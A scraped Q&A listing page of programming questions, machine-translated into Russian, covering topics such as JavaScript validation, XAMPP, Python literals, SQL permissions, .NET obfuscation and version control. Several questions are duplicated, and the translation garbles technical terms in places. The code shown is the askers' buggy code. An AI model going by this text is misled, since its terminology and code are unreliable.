Вывод в консоли ошибок Firefox - это "feeAmountCheck is not defined" . Вот эта функция (она была взята непосредственно из firefox - >view source)
<script type="text/javascript">
function feeAmountCheck(source, arguments)
{
var amountDue = document.getElementById('ctl00_footerContentHolder_Fees1_FeeDue');
var amountPaid = document.getElementById('ctl00_footerContentHolder_Fees1_FeePaid');
if (amountDue.value > 0 && amountDue >= amountPaid)
{
arguments.IsValid = true;
}
else
{
arguments.IsValid = false;
}
return arguments;
}
</script>
Есть идеи, почему эта функция не найдена? Как я могу исправить это, не добавляя функцию на главную страницу или страницу потребления?
Сделать XAMPP/Apache служить файл вне htdocs в
Можно ли настроить xampp для обслуживания файла вне каталога htdocs ?
Например, предположим, что у меня есть файл, расположенный следующим образом:
C:\projects\transitCalculator\trunk\TransitCalculator.php
и мой xampp файлов, как правило, подается из:
C:\xampp\htdocs\
(потому что это конфигурация по умолчанию) есть ли какой-то способ заставить Apache распознавать и обслуживать мой файл TransitCalculator.php , не перемещая его под htdocs ? Предпочтительно я хотел бы, чтобы Apache обслуживал/имел доступ ко всему содержимому каталога проектов, и я не хочу перемещать каталог проектов под htdocs .
Редактировать: Редактировать, чтобы добавить Apache на заголовок вопроса, чтобы сделать в более "searchable"
Как я могу получить аутентифицированное имя пользователя под Apache, используя обычную HTTP аутентификацию и PHP?
Во-первых, давайте избавимся от соображений безопасности. Я использую простую аутентификацию под Apache для одноразового, только внутреннего использования, не подключенного к интернету lan, php веб-приложения.
Как я могу получить HTTP аутентифицированное имя пользователя в PHP?
Как лучше всего обрабатывать несколько типов разрешений?
Я часто сталкиваюсь со следующим сценарием, когда мне нужно предложить много различных типов разрешений. Я в основном использую ASP.NET / VB.NET с SQL Server 2000.
Сценарий
Я хочу предложить динамическую систему разрешений, которая может работать с различными параметрами. Допустим, я хочу предоставить доступ к приложению либо отделу, либо просто конкретному человеку. И представьте, что у нас есть ряд приложений, которые продолжают расти.
В прошлом я выбрал один из двух известных мне способов сделать это.
Используйте одну таблицу разрешений со специальными столбцами, которые используются для определение способа применения параметров. Специальные колонки в это примеры TypeID и TypeAuxID. SQL будет выглядеть как-то странно подобный этому.
SELECT COUNT(PermissionID) FROM application_permissions WHERE (TypeID = 1 AND TypeAuxID = @UserID) OR (TypeID = 2 AND TypeAuxID = @DepartmentID) AND ApplicationID = 1Используйте таблицу сопоставления для каждого типа разрешений, а затем соедините их все вместе.
SELECT COUNT(perm.PermissionID) FROM application_permissions perm LEFT JOIN application_UserPermissions emp ON perm.ApplicationID = emp.ApplicationID LEFT JOIN application_DepartmentPermissions dept ON perm.ApplicationID = dept.ApplicationID WHERE q.SectionID=@SectionID AND (emp.UserID=@UserID OR dept.DeptID=@DeptID OR (emp.UserID IS NULL AND dept.DeptID IS NULL)) AND ApplicationID = 1 ORDER BY q.QID ASC
свои мысли
Я надеюсь, что эти примеры имеют смысл. Я сложил их вместе.
Первый пример требует меньше работы, но ни один из них не кажется лучшим ответом. Есть ли лучший способ справиться с этим?
Как вы выражаете двоичные литералы в Python?
Как выразить целое число в виде двоичного числа с Python литералами?
Я с легкостью нашел ответ на вопрос hex:
>>> 0x12AF
4783
>>> 0x100
256
и восьмеричный:
>>> 01267
695
>>> 0100
64
Как вы используете литералы для выражения двоичного кода в Python?
Резюме ответов
- Python 2.5 и ранее: может выражать двоичный код с помощью
int('01010101111',2), но не с помощью литерала. - Python 2.5 и ранее: нет никакого способа выразить двоичные литералы.
- Python 2.6 бета: вы можете сделать так:
0b1100111или0B1100111. - Python 2.6 beta: также позволит
0o27или0O27(второй символ-буква O) представлять восьмеричное число. - Python 3.0 beta: то же самое, что и 2.6, но больше не позволяет использовать старый синтаксис
027для окталов.
Интеграция тестового проекта Visual Studio с круиз-контролем
Я изучаю использование встроенных модульных тестовых проектов Visual Studio 2008 вместо NUnit, и мне было интересно, есть ли у кого-нибудь опыт в попытке интегрировать этот тип модульного тестового проекта с Cruise Control.Net.
429   1   16:03, 1st July, 2020
Как я могу дать моим веб-сайтам значок для iPhone?
Как я могу установить значок, который появляется на iPhone для веб-сайтов, которые я создаю?
Различные распределенные системы управления версиями работают вместе
В моем офисе есть центральный Source Safe 2005 install, который мы используем для управления версиями. Я не могу изменить то, что офис использует на сервере.
Я разрабатываю на ноутбуке и хотел бы иметь другой локальный репозиторий управления версиями, который может синхронизироваться с центральным сервером (когда он доступен) независимо от того, что это за центральный поставщик. Причина запроса заключается в том, что я могу поддерживать локальную стабильную ветвь/сборку для клиентских презентаций, продолжая развиваться, не перепрыгивая через пылающие обручи. Кроме того, как консультант, мои клиенты могут потребовать, чтобы я использовал их поставщика системы управления версиями, и гибкость здесь облегчила бы жизнь.
Может ли любой из существующих клиентов распределенного управления версиями справиться с этим?
Уменьшение количества повторяющихся кодов обработки ошибок в C#?
Я никогда не был полностью доволен тем, как работает обработка исключений, есть много исключений и try / catch приносит в таблицу (размотка стека и т. д.), но, похоже, в этом процессе нарушается большая часть модели OO.
В любом случае, вот в чем проблема:
Допустим, у вас есть какой-то класс, который обертывает или включает сетевые операции с файлом IO (например, чтение и запись в какой-то файл по какому-то конкретному пути UNC). По разным причинам вы не хотите, чтобы эти операции IO завершились неудачей, поэтому, если вы обнаружите, что они завершились неудачей, вы повторяете их и продолжаете повторять, пока они не завершатся успешно или вы не достигнете тайм-аута. У меня уже есть удобный класс RetryTimer, который я могу создать и использовать, чтобы перевести текущий поток в спящий режим между повторными попытками и определить, когда истек период ожидания и т. д.
Проблема в том, что у вас есть куча операций IO в нескольких методах этого класса, и вам нужно обернуть каждую из них в логику try-catch / retry.
Вот пример фрагмента кода:
RetryTimer fileIORetryTimer = new RetryTimer(TimeSpan.FromHours(10));
bool success = false;
while (!success)
{
try
{
// do some file IO which may succeed or fail
success = true;
}
catch (IOException e)
{
if (fileIORetryTimer.HasExceededRetryTimeout)
{
throw e;
}
fileIORetryTimer.SleepUntilNextRetry();
}
}
Итак, как избежать дублирования большей части этого кода для каждой операции file IO в классе? Мое решение состояло в использовании анонимных блоков делегатов и единственного метода в классе, который выполнял переданный ему блок делегатов. Это позволило мне делать подобные вещи другими методами:
this.RetryFileIO( delegate()
{
// some code block
} );
Мне это несколько нравится, но оставляет желать лучшего. Я бы хотел услышать, как другие люди решают подобные проблемы.
Каковы правильные размеры пикселей для apple-touch-icon?
Я не уверен, что правильный размер должен быть.
Многие сайты, похоже, повторяют, что apple-touch-icon должен быть размером 57x57 пикселей, но ссылаются на сломанную ссылку в качестве источника.
Комментарии Hanselman и playgroundblues предлагают различные размеры, включая 163x163 и 60x60.
Собственный значок apple.com от Apple - это 129x129!
Смотри мой вопрос: Как я могу дать моим веб-сайтам значок для iPhone?
Механизмы отслеживания изменений схемы DB
Каковы наилучшие методы отслеживания и / или автоматизации изменений схемы DB? Наша команда использует Subversion для управления версиями, и мы смогли автоматизировать некоторые из наших задач таким образом (перемещение сборок на промежуточный сервер, развертывание тестируемого кода на рабочий сервер), но мы все еще делаем обновления базы данных вручную. Я хотел бы найти или создать решение, которое позволит нам эффективно работать на разных серверах с различными средами, продолжая использовать Subversion в качестве бэкенда, через который код и обновления DB передаются на различные серверы.
Многие популярные программные пакеты включают в себя сценарии автоматического обновления, которые обнаруживают версию DB и применяют необходимые изменения. Является ли это лучшим способом сделать это даже в более крупном масштабе (через несколько проектов, а иногда и через несколько сред и языков)? Если да, то есть ли какой-либо существующий код, который упрощает этот процесс, или лучше всего просто запустить наше собственное решение? Кто-нибудь реализовывал что-то подобное раньше и интегрировал его в Subversion post-commit hooks, или это плохая идея?
Хотя решение, поддерживающее несколько платформ, было бы предпочтительнее, мы определенно должны поддерживать стек Linux/Apache/MySQL/PHP, поскольку большая часть нашей работы находится на этой платформе.
Папки или проекты в решении Visual Studio?
При разбиении решения на логические слои, когда лучше всего использовать отдельный проект над просто группировкой по папке?
Учимся писать компилятор
Предпочтительные языки: C/C++, Java и Ruby.
Я ищу несколько полезных книг/учебных пособий о том, как написать свой собственный компилятор просто для образовательных целей. Я лучше всего знаком с C/C++, Java и Ruby, поэтому предпочитаю ресурсы, которые включают один из этих трех, но любой хороший ресурс приемлем.
Как передать перечисленные значения в веб-службу
Моя дилемма заключается, в основном, в том, как разделить перечисление между двумя приложениями.
Пользователи загружают документы через интерфейсное приложение, которое находится в интернете. Это приложение вызывает веб-службу внутреннего приложения и передает ему документ. Серверное приложение сохраняет документ и вставляет строку в таблицу документов .
Тип документа (7 возможных типов документов: счет- фактура, договор и т.д.) передается в качестве параметра в метод UploadDocument веб-службы. Вопрос в том, каким должен быть тип (и возможные значения) этого параметра?
Поскольку вам нужно жестко закодировать эти значения в обоих приложениях, я думаю, что это O.K. чтобы использовать описательную строку (счет, контракт, WorkOrder , SignedWorkOrder).
Может быть, лучше создать перечисление DocumentTypes в первом приложении и воспроизвести его также во втором приложении, а затем передать соответствующее целочисленное значение веб-службе между ними?
Есть ли опыт работы с буферами протокола?
Я просто просматривал некоторую информацию о формате обмена данными буферов протокола Google. Кто-нибудь играл с кодом или даже создал проект вокруг него?
В настоящее время я использую XML в проекте Python для структурированного контента, созданного вручную в текстовом редакторе, и мне было интересно, каково общее мнение о буферах протокола в качестве пользовательского формата ввода. Преимущества скорости и краткости определенно кажутся там, но есть так много факторов, когда речь заходит о фактическом создании и обработке данных.
Федеративные (синхронизированные) серверы Subversion?
Можно ли создать "federated" серверов Subversion? Как и на одном сервере в местоположении A и на другом в местоположении B, которые автоматически синхронизируют свои локальные версии репозитория. Таким образом, когда кто-то в любом месте взаимодействует с репозиторием, он получает доступ к своему соответствующему локальному серверу и поэтому имеет более быстрое время отклика.
Как сделать меню, которое не требует от пользователя нажатия клавиши [enter]для выбора?
У меня есть меню в Python. Эта часть была легкой. Я использую raw_input() , чтобы получить выбор от пользователя.
Проблема заключается в том, что raw_input (и input) требуют, чтобы пользователь нажал Enter после того, как они сделают выбор. Есть ли способ заставить программу действовать сразу же после нажатия клавиши? Вот что у меня есть на данный момент:
import sys
print """Menu
1) Say Foo
2) Say Bar"""
answer = raw_input("Make a selection> ")
if "1" in answer: print "foo"
elif "2" in answer: print "bar"
Было бы здорово иметь что-то вроде
print menu
while lastKey = "":
lastKey = check_for_recent_keystrokes()
if "1" in lastKey: #do stuff...
Python: на чем OS я бегу?
Что мне нужно посмотреть, чтобы понять, нахожусь ли я на Windows или Unix и т. д.?
Как сопоставить широту / долготу с искаженной картой?
У меня есть куча пар широта / долгота, которые сопоставляются с известными координатами x / y на карте (географически искаженной).
Тогда у меня есть еще одна пара широта/долгота. Я хочу построить его на карте как можно лучше. Как мне это сделать?
Сначала я решил создать систему линейных уравнений для трех ближайших точек lat/long и вычислить преобразование из них,но это совсем не работает. Поскольку это линейная система,я не могу использовать больше соседних точек.
Вы не можете предположить, что Север вверх: все, что у вас есть, - это существующие сопоставления lat/long->x/y.
Это не проекция Меркатора или что-то в этом роде. Это произвольно искажено для удобства чтения (подумайте о карте метро). Я хочу использовать только ближайшие 5-10 отображений, чтобы искажение на других частях карты не влияло на отображение, которое я пытаюсь вычислить.
Кроме того, вся карта находится в очень маленькой географической области, поэтому нет необходимости беспокоиться о том, что предположения globe--flat-earth достаточно хороши.
Подходят ли когда-нибудь несколько классов DataContext?
Чтобы полностью использовать LinqToSql в приложении ASP.net 3.5, необходимо создать классы DataContext (что обычно делается с помощью конструктора в VS 2008). С точки зрения UI, DataContext-это дизайн разделов вашей базы данных, которые вы хотели бы предоставить через LinqToSql, и является неотъемлемой частью в настройке функций ORM LinqToSql.
Мой вопрос: я настраиваю проект, который использует большую базу данных, где все таблицы связаны каким-то образом через внешние ключи. Моя первая склонность-сделать один огромный класс DataContext, который моделирует всю базу данных. Таким образом, я мог бы теоретически (хотя я не знаю, понадобится ли это на практике) использовать внешние ключевые соединения, которые генерируются через LinqToSql, чтобы легко переходить между связанными объектами в моем коде, вставлять связанные объекты и т. д.
Однако после некоторых размышлений я теперь думаю, что может быть более целесообразно создать несколько классов DataContext, каждый из которых относится к определенному пространству имен или логическому взаимосвязанному разделу в моей базе данных. Моя главная проблема заключается в том, что создание и удаление одного огромного класса DataContext все время для отдельных операций, связанных с конкретными областями базы данных, будет налагать ненужное наложение на ресурсы приложения. Кроме того, легче создавать и управлять меньшими файлами DataContext, чем одним большим. То, что я потеряю, - это то, что будут некоторые удаленные разделы базы данных, которые не будут доступны для навигации через LinqToSql (даже если цепочка отношений соединяет их в реальной базе данных). Кроме того, будут существовать некоторые классы таблиц, которые будут существовать в более чем одном DataContext.
Любые мысли или опыт о том, являются ли множественные DataContexts (соответствующие пространствам имен DB) подходящими вместо (или в дополнение к) одному очень большому классу DataContext (соответствующему всему DB)?
Python: в чем разница между (1,2,3) и [1,2,3], и когда я должен использовать каждый?
Во многих местах (1,2,3) (кортеж) и [1,2,3] (список) могут использоваться взаимозаменяемо.
Когда я должен использовать тот или другой, и почему?
Что такое MVP и MVC и в чем разница?
При взгляде за пределы RAD (перетаскивание и настройка) способа построения пользовательских интерфейсов, который поощряют многие инструменты, вы, вероятно , столкнетесь с тремя шаблонами проектирования, называемыми Model-View-Controller, Model-View-Presenter и Model-View-ViewModel . Мой вопрос состоит из трех частей к нему:
- Какие проблемы решают эти модели?
- Насколько они похожи?
- Чем они отличаются друг от друга?
1950   16   16:03, 1st July, 2020
Как начать писать инструмент покрытия кода?
Поиск книг или других ссылок, в которых обсуждается, как на самом деле написать инструмент покрытия кода в Java; некоторые из различных методов или трюков - исходный код против инструментария байтового кода.
Это для скриптового языка, который генерирует байтовый код Java под капотом.
Каковы некоторые хорошие ресурсы для изучения потокового программирования?
С появлением multicore CPUs на рабочем столе навыки многопоточности станут ценным активом для программистов. Можете ли вы порекомендовать какие-то хорошие ресурсы (книги, учебные пособия, веб-сайты и т. д.) для программиста, который хочет узнать о потоковом программировании?
Использование нескольких баз данных SQLite одновременно
У меня есть 2 базы данных SQLite, одна загружена с сервера (server.db), а другая используется в качестве хранилища на клиенте ( client.db). Мне нужно выполнить различные запросы синхронизации в клиентской базе данных, используя данные из базы данных сервера.
Например, я хочу удалить все строки в таблице client.db tRole и повторно заполнить все строки в таблице server.db tRole .
Другой пример: я хочу удалить все строки в таблице client.db tFile , где fileID не находится в таблице server.db tFile .
В SQL Server вы можете просто префиксировать таблицу с именем базы данных. Есть ли вообще возможность сделать это в SQLite, используя Adobe Air?
Каковы некоторые хорошие ресурсы для изучения потокового программирования?
С появлением multicore CPUs на рабочем столе навыки многопоточности станут ценным активом для программистов. Можете ли вы порекомендовать какие-то хорошие ресурсы (книги, учебные пособия, веб-сайты и т. д.) для программиста, который хочет узнать о потоковом программировании?
Использование нескольких баз данных SQLite одновременно
У меня есть 2 базы данных SQLite, одна загружена с сервера (server.db), а другая используется в качестве хранилища на клиенте ( client.db). Мне нужно выполнить различные запросы синхронизации в клиентской базе данных, используя данные из базы данных сервера.
Например, я хочу удалить все строки в таблице client.db tRole и повторно заполнить все строки в таблице server.db tRole .
Другой пример: я хочу удалить все строки в таблице client.db tFile , где fileID не находится в таблице server.db tFile .
В SQL Server вы можете просто префиксировать таблицу с именем базы данных. Есть ли вообще возможность сделать это в SQLite, используя Adobe Air?
Инструменты/стратегия обфускации .NET
Мой продукт состоит из нескольких компонентов: ASP.NET, Windows Forms App и Windows Service. 95% или около того кода написано в VB.NET.
По соображениям интеллектуальной собственности мне нужно запутать код, и до сих пор я использовал версию dotfuscator, которой уже более 5 лет. Я думаю, что пришло время перейти к инструменту нового поколения. То, что я ищу, - это список требований, которые я должен учитывать при поиске нового обфускатора.
То что я знаю я должен искать до сих пор:
- Serialization/De-serialization . В моем текущем решении я просто говорю инструменту не запутывать никакие члены данных класса, потому что боль от невозможности загрузить данные, которые были ранее сериализованы, просто слишком велика.
- Интеграция с процессом сборки
- Работа с ASP.NET . В прошлом я находил это проблематичным из - за изменения имен .dll (у вас часто есть по одному на страницу), с которыми не все инструменты справляются хорошо.
Найти узел, щелкнутый в контекстном меню
Как узнать, в каком узле древовидного списка было активировано контекстное меню? Например, щелкните правой кнопкой мыши узел и выберите нужный пункт в меню.
Я не могу использовать свойство TreeViews' SelectedNode , потому что узел был только щелкнут правой кнопкой мыши и не выбран.
Начало работы с системой управления версиями
Мне нужно реализовать контроль версий, даже для того, чтобы просто разрабатывать, что я делаю дома. Я читал о том, как велика Subversion за последние пару лет, и собирался посвятить себя изучению этого на стороне, пока не услышал о Git, являющейся восходящей и грядущей системой контроля версий.
Учитывая ситуацию, должен ли я подождать и посмотреть, кто из них выйдет на первое место? Каковы их относительные преимущества?
Одна из проблем, которую я заметил с Git, заключается в том, что не так много полнофункциональных GUIs, что важно для многих пользователей в моей команде.
Кроме того, не возражал бы против предложений о том, как начать работу с одним или другим. (учебники и т. д.)
Проверка данных в Getter/Setter или где-то еще?
Мне интересно, насколько это хорошая идея - делать проверки в геттерах и сеттерах или где-то еще в коде.
Это может удивить вас, когда речь заходит об оптимизации и ускорении кода, я думаю, что вы должны делать проверки не в геттерах и сеттерах, а в коде, где вы обновляете свои файлы или базу данных. Неужели я ошибаюсь?
Глобальная обработка исключений для элемента управления winforms
При работе над ASP.NET 1.1 проектами я всегда использовал Global.asax, чтобы поймать все ошибки. Я ищу аналогичный способ поймать все исключения в пользовательском элементе управления Windows Forms, который в конечном итоге является размещенным элементом управления IE. Каков правильный способ сделать что-то подобное?
Не удается получить консоль для виртуальных машин
Я следил за этим отличным учебником по работе с Xen с Ubuntu, но не могу получить консоль в свою виртуальную машину (domU). У меня есть строка extra = '2 console=xvc0' в моем /etc/xen/ hostname_here .cfg файл, как они говорят, но я не могу получить консоль на нем.
Если я статически назначаю IP виртуальной машине, я могу SSH ей, но сейчас мне нужно использовать DHCP, чтобы дать ей адрес (и поскольку это то, что я пытаюсь отладить, есть проблема). Я знаю, что у меня есть бесплатный адрес DHCP (хотя я получаю больше в данный момент), поэтому я не думаю, что это проблема. Я посмотрел на Google и форумы Xen безрезультатно.
Есть идеи?
Как удалить временную часть значения datetime (сервер SQL)?
Вот что я использую:
SELECT CAST(FLOOR(CAST(getdate() as FLOAT)) as DATETIME)
Я думаю, что может быть лучший и более элегантный способ.
Требования:
- Это должно быть как можно быстрее (чем меньше отливок, тем лучше).
- Конечным результатом должен быть тип
datetime, а не строка.
Какая лучшая настройка для разработки Mono на Windows?
Я начал пытаться играть с Mono, в основном для удовольствия в данный момент. Сначала я попытался использовать плагин Visual Studio, который преобразует csproj в makefile, но оказалось, что версия для Visual Studio 2005 недоступна. Я также читал о MonoDevelop IDE, что звучало неплохо. К сожалению, для этого нет никакого пакета pre-fab Windows. Я попытался следовать некоторым инструкциям, чтобы построить его, объединив зависимости от других полу-связанных установок. Это не сработало, но это, вероятно, потому, что я ориентирован на Windows и едва могу написать "makefile".
Итак, мой вопрос заключается в следующем: каков самый низкоэнергетический способ встать и бежать, чтобы попробовать некоторые Mono-основанные разработки на Windows?
Как вы форматируете unsigned long long int, используя printf?
#include <stdio.h>
int main() {
unsigned long long int num = 285212672; //FYI: fits in 29 bits
int normalInt = 5;
printf("My number is %d bytes wide and its value is %ul. A normal number is %d.\n", sizeof(num), num, normalInt);
return 0;
}
#include <stdio.h>
int main() {
unsigned long long int num = 285212672; //FYI: fits in 29 bits
int normalInt = 5;
printf("My number is %d bytes wide and its value is %ul. A normal number is %d.\n", sizeof(num), num, normalInt);
return 0;
}
Выход:
My number is 8 bytes wide and its value is 285212672l. A normal number is 0.
Я предполагаю, что этот неожиданный результат связан с печатью unsigned long long int . Как вы делаете printf() an unsigned long long int ?
Варианты для HTML выскабливания?
Я подумываю попробовать прекрасный суп, пакет Python для HTML выскабливания. Есть ли еще какие-нибудь HTML выскабливающие пакеты, на которые я должен смотреть? Python-это не требование, мне действительно интересно услышать и о других языках.
История так далеко зашла:
- Python
- Ruby
- .NET
- Perl
- Java
- JavaScript
- PHP
- Большинство из них
Как обновить Ruby Gems из-за прокси (ISA-NTLM)
Брандмауэр, за которым я стою, работает под управлением Microsoft ISA server в режиме NTLM-only. Hash у кого-нибудь есть успех получения их Ruby драгоценных камней для установки/обновления через Ruby SSPI gem или другим способом? ...
или я просто ленивый?
Примечание: rubysspi-1.2.4 не работает.
Это также работает для "igem", части проекта IronRuby
SQL Server 2005 и 2008 на одной машине разработчика?
Кто-нибудь пробовал установить SQL Server 2008 Developer на машину, на которой уже установлен 2005 Developer?
Я не уверен, стоит ли мне это делать, и мне нужно сохранить 2005 год на этой машине в обозримом будущем, чтобы легко протестировать наше приложение. Поскольку мне иногда нужно взять резервные копии файлов баз данных и сделать доступными для других людей в компании, я не могу просто заменить 2005 на 2008 год, поскольку подозреваю (но не знаю), что базы данных не 100% обратно совместимы.
Какие проблемы могут возникнуть? Нужно ли мне установить новую версию с именем экземпляра, будет ли это работать? Могу ли я использовать другой номер порта, чтобы различать их?
Я нашел эту запись в technet: http://forums.microsoft.com/TechNet/ShowPost.aspx?PostID=3496209&SiteID=17
Это не говорит больше, чем просто да, вы можете сделать это , и я вроде бы подозревал, что это было выполнимо в любом случае, но мне нужно знать, есть ли что-то, что мне нужно знать, прежде чем я начну установку.
Кто-нибудь?
Сжатие видео: Что такое дискретное косинусное преобразование?
Я реализовал метод преобразования изображения / видео, который называется дискретным косинусным преобразованием. Этот метод используется в MPEG кодировании видео. Я основал свой алгоритм на идеях, представленных на следующем URL:
http://vsr.informatik.tu-chemnitz.de/~jan/MPEG/HTML/mpeg_tech.html
Теперь я могу преобразовать участок черно-белого изображения размером 8x8, например:
0140 0124 0124 0132 0130 0139 0102 0088 0140 0123 0126 0132 0134 0134 0088 0117 0143 0126 0126 0133 0134 0138 0081 0082 0148 0126 0128 0136 0137 0134 0079 0130 0147 0128 0126 0137 0138 0145 0132 0144 0147 0131 0123 0138 0137 0140 0145 0137 0142 0135 0122 0137 0140 0138 0143 0112 0140 0138 0125 0137 0140 0140 0148 0143
В это изображение со всей важной информацией вверху справа. Трансформированный блок выглядит так:
1041 0039 -023 0044 0027 0000 0021 -019 -050 0044 -029 0000 0009 -014 0032 -010 0000 0000 0000 0000 -018 0010 -017 0000 0014 -019 0010 0000 0000 0016 -012 0000 0010 -010 0000 0000 0000 0000 0000 0000 -016 0021 -014 0010 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 -010 0013 -014 0010 0000 0000
Теперь мне нужно знать, как я могу воспользоваться этой трансформацией? Я хотел бы обнаружить другие блоки 8x8 в том же изображении (или другом изображении), которые представляют собой хорошее совпадение.
Кроме того, что дает мне эта трансформация? Почему важна информация, хранящаяся в правом верхнем углу преобразованного изображения?
Производительность Компиляции CSharpCodeProvider
Разве CompileAssemblyFromDom быстрее, чем CompileAssemblyFromSource ?
Он должен быть таким, как он предположительно обходит внешний интерфейс компилятора.
Что такое хороший шаблон использования Mercurial для этой установки?
У нас есть два разработчика в одной и той же закрытой (тьфу, глупый gov) сети, другой разработчик в паре минут езды по дороге, а четвертый разработчик на полпути через всю страну. Электронная почта, ftp, и удаление media - все возможные способы передачи для людей, не находящихся в одной сети.
Я являюсь одним из двух разработчиков закрытых сетей, считайте нас "master" location.
Что такое лучшая настройка Mercurial / шаблон для группы? Каков наилучший способ trasmit изменения в / из удаленных разработчиков? Поскольку я отвечаю за это, я решил, что мне нужно будет сохранить по крайней мере один мастер-РЕПО с другим локальным РЕПО, в котором я могу развиваться. Каждый другой человек должен просто нуждаться в Клоне мастера. Это правда? Я думаю, это также делает меня ответственным за слияние?
Как вы можете видеть, я все еще пытаюсь обернуть голову вокруг распределенного контроля версий. Я не думаю, что есть какой-либо другой способ сделать это с ситуацией подключения.
Как я могу динамически оценивать код C#?
Я могу сделать eval("something()"); , чтобы выполнить код динамически в JavaScript. Есть ли способ для меня сделать то же самое в C#?
Пример того, что я пытаюсь сделать: у меня есть целочисленная переменная (скажем, i), и у меня есть несколько свойств по именам: "Property1", "Property2", "Property3" и т. д.
Теперь я хочу выполнить некоторые операции над свойством "Property i " в зависимости от значения i .
Это действительно просто с Javascript. Есть ли какой-нибудь способ сделать это с C#?
Как вы создаете свой собственный псевдоним (протокол URL) на системах Windows?
Как вы создаете свой собственный псевдоним (или протокол URL) на системах Windows?
Образцы:
- http:
- mailto:
- обслуживание:
Выбор DVCS - что хорошо для Windows?
Поэтому я хочу получить проект на распределенной системе управления версиями, такой как mercurial, git или bazaar. Загвоздка в том, что мне нужна поддержка Windows, чтобы быть хорошим, т. е. никаких инструкций, которые начинаются с "install cygwin...". Теперь я слышал, что поддержка git Windows в наши дни приличная, но у меня нет опыта из первых рук. Кроме того, похоже, что команда bazaar имеет явную цель сделать ее максимально мультиплатформенной. Могу ли я получить какие-либо рекомендации?
Как создать класс, используя шаблон проектирования Singleton в Ruby?
Шаблон singleton-это шаблон проектирования, который используется для ограничения создания экземпляра класса одним экземпляром объекта. Хотя я знаю, как кодировать шаблон singleton в C++ и Java, мне было интересно, знает ли кто-нибудь, как реализовать его в Ruby?
Автоматизация VMWare или VirtualPC
В настоящее время я экспериментирую с сценарием сборки, и поскольку у меня есть веб-часть ASP.net под управлением исходного кода, мой сценарий сборки должен сделать это в конце:
- Захватите образ "naked" Windows 2003 IIS VMWare или виртуального ПК из сети
- Boot его
- Скопируйте файлы из папки сборки на сервер
- Установить его
- Делайте все, что нужно
Я никогда не пробовал автоматизировать виртуальную машину, но я видел, что и VMWare, и виртуальный сервер предлагают средства автоматизации. Хотя я не могу использовать виртуальный сервер (Windows XP Home : - (), Virtual PC работает.
Есть ли у кого-нибудь здесь опыт работы с VMWare Server или Virtual PC 2007 SP1 с точки зрения автоматизации?
Какой из них лучше подходит (я запускаю windows, поэтому независимость от платформы VMWare не учитывается) и проще автоматизировать?
Рекомендуемые шрифты для программирования?
Какие шрифты вы используете для программирования, и для чего language/IDE? я использую Consolas для всей моей работы в Visual Studio, любые другие рекомендации?
Почему я должен учить Lisp?
Я действительно чувствую, что должен учиться Lisp , и есть много хороших ресурсов, которые помогут мне это сделать.
Меня не пугает сложный синтаксис, но где в "traditional commercial programming" я найду места, где было бы целесообразно использовать его вместо процедурного языка.
Есть ли там коммерческое приложение-убийца, которое было написано в Lisp ?
Использование ConfigurationManager для загрузки конфигурации из произвольного расположения
Я разрабатываю компонент доступа к данным, который будет использоваться на веб-сайте, содержащем смесь классических страниц ASP и ASP.NET, и мне нужен хороший способ управления его настройками конфигурации.
Я хотел бы использовать пользовательский ConfigurationSection, и для страниц ASP.NET это отлично работает. Но когда компонент вызывается через COM interop с классической страницы ASP, он не работает в контексте запроса ASP.NET и поэтому не имеет никакого представления о web.config.
Есть ли способ сказать ConfigurationManager , чтобы просто загрузить конфигурацию из произвольного пути (например, ..\web.config , если мой assembly находится в папке /bin )? Если есть, то я думаю, что мой компонент может вернуться к этому, если по умолчанию ConfigurationManager.GetSection возвращает null для моего пользовательского раздела.
Любые другие подходы к этому были бы приветствованы!
Flex / Air обфускация
Я написал (большую часть) приложения в Flex, и я озабочен защитой исходного кода. Я запустил демо - версию trillix swf decompiler и открыл swf-файл, который был установлен в мой каталог Program Files. Я увидел, что все пакеты actionscript, которые я написал, были там. Я не слишком беспокоюсь о пакетах, даже несмотря на то, что существует значительное количество кода, потому что он все еще кажется довольно непригодным для использования без файлов mxml. Я думаю, что они преобразованы в actionscript, или, по крайней мере, я надеюсь. Однако я все же хотел бы исследовать запутанность.
Есть ли у кого-нибудь опыт работы с Flash / Actionscript 3 / Flex обфускаторы? Можете ли вы порекомендовать хороший продукт?
Как настроить eclipse (zend studio 6), чтобы подсказывать и кодировать несколько языков?
Мой сон IDE делает полные подсказки кода, объясняет и завершает PHP, Javascript, HTML и CSS. Я знаю, что он существует!
до сих пор Zend studio 6, под Eclipse IDE отлично справляется с намеками PHP, некоторыми Javascript и HTML, как я могу это расширить?
изменить: немного больше информации: прямо сейчас, используя zend-6 под eclipse, я ввожу
<?php
p //(a single letter "p")
и я получаю подсказку подсказки со всеми доступными функциями php, которые начинаются с "p" (phpinfo(), parse_ini_file(), parse_str() и т. д...), каждый со своим собственным объяснением: phpinfo() - > "выводит много информации PHP", то же самое относится к регулярному HTML (без объяснений, однако).
Однако, я ничего не получаю, когда я делаю:
<style>
b /* (a single letter "b") */
Мне бы очень хотелось, чтобы я мог получить от этого предложения "b" для "border", "bottom" и т. д. То же самое относится и к Javascript.
Есть идеи?
Является ли вход "Confirm Email" хорошей практикой, когда пользователь меняет адрес email?
В моей организации есть форма, позволяющая пользователям обновлять свой адрес email вместе с нами. Предполагается, что у нас есть два поля ввода для email: второй в качестве подтверждения email.
Я всегда копирую/вставляю свой адрес email, когда сталкиваюсь с подтверждением. Я предполагаю, что большинство наших пользователей не так сообразительны.
Независимо от того, считается ли это хорошей практикой? Лично я этого не выношу, но также понимаю, что это, вероятно, не для меня. Если кто-то испортит свой email, они не смогут войти в систему, и они должны позвонить, чтобы разобраться.
Должен ли я использовать имя пользователя или ID пользователя для ссылки на аутентифицированных пользователей в ASP.NET
Поэтому в моем простом учебном веб-сайте я использую встроенную систему аутентификации ASP.NET.
Теперь я добавляю таблицу пользователей, чтобы сохранить такие вещи, как его zip, DOB и т. д. Мой вопрос таков:
- В новой таблице ключом должно быть имя пользователя (строка) или пользователь ID, который является тем номером GUID, который они используют в
asp_ tables. - Если лучше всего использовать этот уродливый guid, кто-нибудь знает, как его получить? похоже, он не так легко доступен, как имя (
System.Web.HttpContext.Current.User.Identity.Name) - Если вы предлагаете мне не использовать ни один из них (ни guid, ни поля userName, предоставляемые ASP.NET authentication), то как это сделать с ASP.NET authentication? Один из вариантов, который мне нравится, - это использовать адрес email пользователя в качестве логина, но как сделать так, чтобы система аутентификации ASP.NET использовала адрес email вместо имени пользователя? (или там нечего делать, это просто я решил, что я "know" userName на самом деле адрес email?
Пожалуйста, обратите внимание:
